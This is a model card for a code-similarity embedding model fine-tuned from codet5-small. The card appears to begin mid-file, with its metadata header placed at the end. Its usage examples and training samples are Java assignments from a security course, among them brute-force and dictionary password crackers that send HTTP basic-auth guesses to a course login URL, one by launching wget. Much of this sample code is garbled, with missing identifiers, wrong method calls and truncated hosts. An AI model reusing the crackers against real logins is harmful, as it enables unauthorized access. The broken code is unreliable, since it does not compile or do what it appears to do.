catch(Exception e){}\n }\n }\n }\n\n stopTime = System.currentTimeMillis();\n \n if(!cracked)\n System.out.println("Sorry, couldnt find the password");\n else\n System.out.println("Password found: "+password);\n System.out.println("Time taken: "+(stopTime-startTime));\n }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n for(int i=0; i<s.length(); i++)\n {\n if(!Character.isLetter(s.charAt(i)))\n v = false;\n }\n return ;\n }\n}\n\n', '\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n int i,j = 0;\n\n try{\n\n URL yahoo = new URL("http://www.cs.rmit.edu./students/"); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n String inputLine = "";\n String inputLine1 = "";\n String changedtext= "";\n String changedflag= "";\n\n\n Thread.sleep(180);\n\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1 = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n System.out.println("equal");\n }\n else {\n System.out.println("Detected a Change");\n System.out.println("Line Before the change:" + inputLine);\n System.out.println("Line After the change:" + inputLine1);\n changedtext = changedtext + inputLine + inputLine1;\n changedflag = "Y";\n }\n \n }\n\n if (in1.readLine() != null ) {\n System.out.println("Detected a Change");\n System.out.println("New Lines Added ");\n changedtext = changedtext + "New Lines added";\n changedflag = "Y";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals("Y")) {\n String smtphost ="smtp.mail.rmit.edu." ; \n String from = "@rmit.edu."; \n String = "janaka1@optusnet.." ; \n }\n\n\n }\n catch(Exception e){ System.out.println("exception:" + e);}\n\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\t\tWatchDog u = new WatchDog();\n }\n}\n', '\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n private int pwdCounter = 0;\n private int startTime;\n private String str1,str2,str3;\n private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n private String loginPwd;\n private String[] password;\n private HoldSharedData data;\n private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n public PasswordCombination()\n {\n System.out.println("Programmed by for INTE1070 Assignment 2");\n\n String input = JOptionPane.showInputDialog( "Enter number of threads" );\n if( input == null )\n System.exit(0);\n\n int numOfConnections = Integer.parseInt( input );\n startTime = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 + 52;\n password = new String[pwdCounter];\n\n\n loadPasswords();\n System.out.println( "Total Number of Passwords: " + pwdCounter );\n createConnectionThread( numOfConnections );\n }\n\n private void doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n str1 = "" + chars[i];\n password[pwdCounter++] = "" + chars[i];\n System.err.print( str1 + " | " );\n\n for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 + chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n for( int k = 0; k < 52; k ++ )\n {\n str3 = str2 + chars[k];\n password[pwdCounter++] = str2 + chars[k];\n }\n }\n }\n }\n\n private void loadPasswords( )\n {\n FileReader fRead;\n BufferedReader buf;\n String line = null;\n String fileName = "words";\n\n try\n {\n fRead = new FileReader( fileName );\n buf = new BufferedReader(fRead);\n\n while((line = buf.readLine( )) != null)\n {\n password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException e)\n {\n System.err.println("File not found: " + fileName);\n }\n catch(IOException ioe)\n {\n System.err.println("IO Error " + ioe);\n }\n }\n\n private void createConnectionThread( int input )\n {\n data = new HoldSharedData( startTime, password, pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println("Number of Connection Threads Used=" + numOfThreads);\n ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n for( int index = 0; index < numOfThreads; index ++ )\n {\n connThread[index] = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n }\n }\n} ', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 512] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [3, 3] ``` <!-- ### Direct Usage (Transformers) <details><summary>Click to see the direct usage in Transformers</summary> </details> --> <!-- ### Downstream Usage (Sentence Transformers) You can finetune this model on your own dataset. <details><summary>Click to expand</summary> </details> --> <!-- ### Out-of-Scope Use *List how the model may foreseeably be misused and address what users ought not to do with the model.* --> <!-- ## Bias, Risks and Limitations *What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* --> <!-- ### Recommendations *What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* --> ## Training Details ### Training Dataset #### Unnamed Dataset * Size: 33,411 training samples * Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code> * Approximate statistics based on the first 1000 samples: | | sentence_0 | sentence_1 | label | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| | type | string | string | int | | details | <ul><li>min: 52 tokens</li><li>mean: 444.58 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 52 tokens</li><li>mean: 470.35 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | * Samples: | sentence_0 | sentence_1 | label | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code><br><br>import java.io.*;<br>import java.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Dictionary {<br> public static void main (String[] args) throws IOException {<br> BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));<br><br> d = new Date().getTime();<br> FileReader fr = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader bufr = new BufferedReader(fr);<br> String word = bufr.readLine(); <br> int total = 960;<br> String[] pws = new String[total];<br> int count = 0;<br> while (word!=null){<br> if (word.length()<=3) { pws[count] = word; count++;}<br> word = bufr.readLine();<br> }<br> <br> int i=0;<br> int response = 0;<br> for (i=0;i<count;i++){<br> String uname = "";<br> String userinfo = uname + ":" + pws[i];<br> try{<br> String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());<br> URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");<br> HttpURLConn...</code> | <code>0</code> | | <code><br>import java.io.*;<br>import java.util.*;<br><br><br>class BruteForce{<br><br>public static void main(String args[]){<br><br>String pass,s;<br>char a,b,c;<br>int z=0;<br>int attempt=0;<br>Process p;<br><br><br>char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',<br> 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',<br> 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};<br> z = System.currentTimeMillis();<br>int at=0;<br>for(int i=0;i<password.length;i++){<br> for(int j=0;j<password.length;j++){<br> for(int k=0;k<password.length;k++){<br> pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);<br><br> try {<br> System.out.println("Trying crack using: "+pass);<br> at++;<br><br><br> p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> try{<br> p.waitFor();<br> }<br> catch(Exception q){}<br><br><br> z = p.exitValue();<br><br><br> ...</code> | <code><br>import java.io.*;<br>import java.util.Vector;<br>import java.util.Date;<br><br><br>interface UnaryPredicate {<br> boolean execute(Object obj);<br>}<br><br><br>public class DiffPrint {<br> <br> static String outFile="";<br><br> public static abstract class Base {<br> protected Base(Object[] a,Object[] b) {<br> try<br> {<br> outfile = new PrintWriter(new FileWriter(outFile)); <br> }<br> catch (Exception e)<br> {<br> e.printStackTrace();<br> }<br> file0 = a;<br> file1 = b;<br> }<br> <br> protected UnaryPredicate ignore = null;<br><br> <br> protected Object[] file0, file1;<br><br> <br> public void print_script(Diff.change script) {<br> Diff.change next = script;<br><br> while (next != null)<br> {<br> Diff.change t, end;<br><br> <br> t = next;<br> end = hunkfun(next);<br><br> <br> next = end;<br> end = null;<br> <br> <br><br> <br> print_hunk(t);<br><br> <br> end = next;<br> }<br> outfile.flush();<br> }<br><br> <br><br> protected Diff.change hunkfun(Diff.change hunk) {<br> ...</code> | <code>0</code> | | <code>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.BufferedOutputStream;<br>import java.io.BufferedReader;<br>import java.io.FileInputStream;<br>import java.io.FileNotFoundException;<br>import java.io.FileOutputStream;<br>import java.io.FileReader;<br>import java.io.IOException;<br>import java.io.OutputStream;<br><br><br>public class WatchDog<br>{<br> protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);<br> protected int interval = 24;<br> protected String URL = "http://www.cs.rmit.edu./students/";<br> protected String fileName = "WatchDogContent.html";<br> protected String command = "./alert_mail.sh";<br> protected String savedContent;<br> protected String retrievedContent;<br><br> <br> public WatchDog()<br> {<br> super();<br> }<br><br> <br> public void run() throws Exception<br> {<br> HttpRequestClient client = null;<br> <br> <br> System.out.println(getClass().getName() +<br> "Retrieving baseline copy of: " + getURL());<br> client = new HttpRequestClie...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary<br>{<br> public String[] passwds;<br> public int passwdNum;<br> public static void main(String[] args) throws IOException<br> {<br> Dictionary dic=new Dictionary();<br> dic.doDictionary();<br> System.exit(1);<br> }<br><br> void doDictionary() throws IOException<br> {<br> Runtime rt=Runtime.getRuntime();<br> passwds=new String[32768];<br> passwdNum=0;<br><br> time1=new Date().getTime();<br> <br> try<br> {<br> File f = new File ("words");<br> FileReader fin = new FileReader (f);<br> BufferedReader buf = new BufferedReader(fin);<br> passwds[0]="00";<br> System.out.println(" loading words....");<br> <br> {<br> passwds[passwdNum]=buf.readLine();<br> passwdNum++;<br> }while(passwds[passwdNum-1]!=null);<br> System.out.println("Finish loading words.");<br> } catch (FileNotFoundException exc) {<br> System.out.println ("File Not Found");<br> } catch (IOException exc) {<br> System.out.println ("IOException 1");<br> } catch (NullPointerException exc) {<br> System.out.println ("NullPointerEx...</code> | <code>0</code> | * Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) ### Training Hyperparameters #### Non-Default Hyperparameters - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `num_train_epochs`: 1 - `multi_dataset_batch_sampler`: round_robin #### All Hyperparameters <details><summary>Click to expand</summary> - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: no - `prediction_loss_only`: True - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 1 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 5e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1 - `num_train_epochs`: 1 - `max_steps`: -1 - `lr_scheduler_type`: linear - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.0 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: False - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_torch - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: batch_sampler - `multi_dataset_batch_sampler`: round_robin </details> ### Training Logs | Epoch | Step | Training Loss | |:------:|:----:|:-------------:| | 0.2393 | 500 | 0.2122 | | 0.4787 | 1000 | 0.1686 | | 0.7180 | 1500 | 0.2193 | | 0.9574 | 2000 | 0.2084 | ### Framework Versions - Python: 3.11.13 - Sentence Transformers: 4.1.0 - Transformers: 4.52.4 - PyTorch: 2.6.0+cu124 - Accelerate: 1.7.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citation ### BibTeX #### Sentence Transformers ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ``` #### BatchAllTripletLoss ```bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ``` <!-- ## Glossary *Clearly define terms in order to be accessible across audiences.* --> <!-- ## Model Card Authors *Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* --> <!-- ## Model Card Contact *Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* -->
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: Salesforce/codet5-small
widget:
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\
\npublic class WatchDog extends TimerTask{\n\n private static URL location;\n\
\ private static String email;\n private static int checktime;\n private static\
\ Timer timer = new Timer();\n private BufferedReader input;\n private File\
\ checksumFile = new File(\"chksum.txt\");\n private File temp0000File = new\
\ File(\"temp0000\");\n private File kept0000File = new File(\"kept0000\");\n\
\n \n\n public WatchDog(){\n timer.schedule(this, new Date(), checktime);\n\
\ }\n\n\n \n\n public void run(){\n Vector imageFiles = new\
\ Vector();\n Vector diffImages = new Vector();\n try {\n \
\ System.out.println(\" Time: \".concat(new Date().toString()));\n \
\ System.out.println(\"Retreiving File\");\n \n input = new\
\ BufferedReader(new InputStreamReader\n (location.openStream()));\n\
\ \n BufferedWriter outputFile = new BufferedWriter\n \
\ (new FileWriter(temp0000File));\n String line = input.readLine();\n\
\ while (line != null) {\n StringBuffer imageFileName = new\
\ StringBuffer();\n if (scanForImages(line, imageFileName)) {\n \
\ String imageFile = new String(imageFileName);\n System.out.println(\"\
Detected image: \".concat(imageFile));\n try {\n imageFiles.add(new\
\ URL(imageFile));\n }\n catch (MalformedURLException\
\ e) {\n System.out.println(\"Image file detected. URL is malformed\"\
);\n }\n }\n outputFile.write(line);\n \
\ outputFile.write(\"\\n\");\n line = input.readLine();\n \
\ }\n input.print();\n outputFile.flush();\n \
\ outputFile.print();\n System.out.println(\" File Retreived\");\n \
\ if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n\
\ }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(),\
\ checksumFile);\n }\n else {\n if (!checksumOk(checksumFile))\
\ {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n\
\ generateChecksum(temp0000File.getName(), checksumFile);\n \
\ }\n else if (!diffImages.isEmpty()){\n reportDifferences(false,\
\ null, null, diffImages);\n }\n }\n\n \n \
\ temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time:\
\ \".concat(new Date().toString()));\n }\n catch (MalformedURLException\
\ e) {\n e.printStackTrace();\n }\n catch (ConnectException\
\ e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n\
\ }\n catch (IOException e) {\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\
\ scanForImages(String line, StringBuffer imageFileName) {\n \n \
\ \n String lineIgnoreCase = line.toLowerCase();\n int imgPos =\
\ lineIgnoreCase.indexOf(\"<img \");\n if ( imgPos != -1 ){\n \
\ int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n int bracketPos\
\ = lineIgnoreCase.indexOf(\">\", imgPos);\n if (srcPos != -1 && bracketPos\
\ != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\
\\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\
, quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n \
\ quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \
\ \n imageFileName.append(line.substring(quote1Pos + 1,\n \
\ quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1\
\ ) {\n \n String URLName = location.toString();\n\
\ int slashPos = URLName.lastIndexOf(\"/\");\n URLName\
\ = URLName.substring(0, slashPos);\n String HostName = \"http://\"\
.concat(location.getHost());\n if (imageFileName.indexOf(\"//\"\
) == 0) {\n \n }\n else if (imageFileName.charAt(0)\
\ != '/') {\n \n imageFileName.insert(0, URLName.concat(\"\
/\"));\n }\n else {\n \n \
\ imageFileName.insert(0, HostName);\n }\n \
\ }\n return true;\n }\n }\n }\n \
\ return false;\n }\n\n \n\n public void checkImages(Vector\
\ imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"\
Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n\
\ while (imageFilesEnumeration.hasMoreElements()) {\n URL url\
\ = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream\
\ imageInput = new BufferedInputStream\n (url.openStream());\n\
\ String localFile = url.getFile();\n \n \n \
\ \n \n \n int slashPosition = localFile.lastIndexOf(\"\
/\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n\
\ }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n\
\ BufferedOutputStream imageOutput = new BufferedOutputStream\n \
\ (new FileOutputStream(localFile));\n byte bytes[] = new\
\ byte[10000];\n int noBytes = imageInput.get(bytes);\n \
\ while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n\
\ noBytes = imageInput.print(bytes);\n }\n \
\ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n \
\ if (!imageChecksumFile.exists()) {\n generateChecksum(localFile,\
\ imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile))\
\ {\n diffImages.add(localFile);\n generateChecksum(localFile,\
\ imageChecksumFile);\n }\n }\n }\n \
\ catch (FileNotFoundException e) {\n System.out.println(\"Unable \
\ locate URL: \".concat(url.toString()));\n }\n }\n }\n\n\
\ \n\n public void generateChecksum(String inputFile, File checksum){\n\
\ try {\n System.out.println(\"Generating new checksum for \"\
.concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"\
md5sum \".\n concat(inputFile));\n\
\ BufferedReader execCommand = new BufferedReader(new\n \
\ InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile\
\ = new\n BufferedWriter(new FileWriter(checksum));\n String\
\ line = execCommand.readLine();\n while (line != null) {\n \
\ outputFile.write(line);\n outputFile.write(\"\\n\");\n \
\ line = execCommand.readLine();\n }\n outputFile.flush();\n\
\ outputFile.print();\n System.out.println(\"Checksum produced\"\